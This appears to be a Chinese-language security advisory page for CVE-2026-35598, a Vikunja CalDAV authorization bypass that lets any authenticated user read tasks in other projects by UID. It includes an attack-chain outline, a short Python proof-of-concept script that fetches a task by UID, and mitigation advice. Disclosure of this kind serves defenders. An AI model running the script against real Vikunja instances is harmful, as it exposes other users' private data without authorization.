IPBUF安全漏洞报告
English
CVE-2026-35598 CVSS 4.3 中危

CVE-2026-35598 Vikunja越权读取漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35598
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

权限绕过信息泄露VikunjaCalDAV

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.3.0版本之前,其CalDAV接口中的GetResource和GetResourcesByList方法存在安全漏洞。该漏洞允许任何经过身份验证的CalDAV用户,只要知道或猜测到任务的UID,就可以绕过权限验证,直接从数据库获取任务数据。这意味着攻击者可以读取实例上任何项目中的完整任务信息,而无需拥有该项目的访问权限。该问题已在2.3.0版本中修复。

技术细节

该漏洞的根本原因在于Vikunja处理CalDAV请求时的逻辑缺陷。具体而言,当CalDAV客户端调用GetResource或GetResourcesByList方法来获取任务时,后端代码仅根据提供的任务唯一标识符(UID)直接查询数据库并返回结果。在此过程中,系统未能执行关键的权限检查步骤,即未验证当前发起请求的已认证用户是否具有访问该任务所属项目的权限。由于CalDAV协议的特性和实现,只要用户完成了基本的身份认证,系统便默认允许查询。攻击者无需进行复杂的交互,只需拥有一个有效的CalDAV账户,便可以通过遍历、猜测或收集到的任务UID,构造特定的CalDAV请求。这将导致服务器返回敏感的任务数据,造成严重的信息泄露。这是一个典型的水平越权漏洞,破坏了多租户或基于项目的数据隔离原则。

攻击链分析

STEP 1
步骤1
攻击者识别出目标系统正在运行Vikunja任务管理平台,并确认其版本低于2.3.0。
STEP 2
步骤2
攻击者注册或获取一个有效的低权限CalDAV账户凭据。
STEP 3
步骤3
攻击者猜测、枚举或收集目标任务的任务UID(唯一标识符)。
STEP 4
步骤4
攻击者利用CalDAV接口,使用GetResource方法并附带目标UID发送请求。
STEP 5
步骤5
服务器由于未验证项目权限,直接返回了完整的任务数据,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from requests.auth import HTTPBasicAuth # Target configuration TARGET_URL = "https://vikunja.example.com/dav/calendars/user/" USERNAME = "[email protected]" PASSWORD = "password" TASK_UID = "target-task-uid-12345" # The UID of the task the attacker wants to read # Exploit code to fetch a task by UID without project access check # Note: This simulates the CalDAV GET request def exploit(): # Authenticate with the CalDAV endpoint auth = HTTPBasicAuth(USERNAME, PASSWORD) # Construct the URL to fetch the specific task resource by UID # In a real scenario, the exact path might vary based on Vikunja's CalDAV routing exploit_url = f"{TARGET_URL}{TASK_UID}.ics" try: print(f"[*] Attempting to fetch task with UID: {TASK_UID}") response = requests.get(exploit_url, auth=auth) if response.status_code == 200: print("[+] Exploit successful! Task data retrieved:") print(response.text) else: print(f"[-] Failed to retrieve task. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用CalDAV服务接口,或者通过网络访问控制列表(ACL)严格限制CalDAV端口的访问权限,仅允许受信任的IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表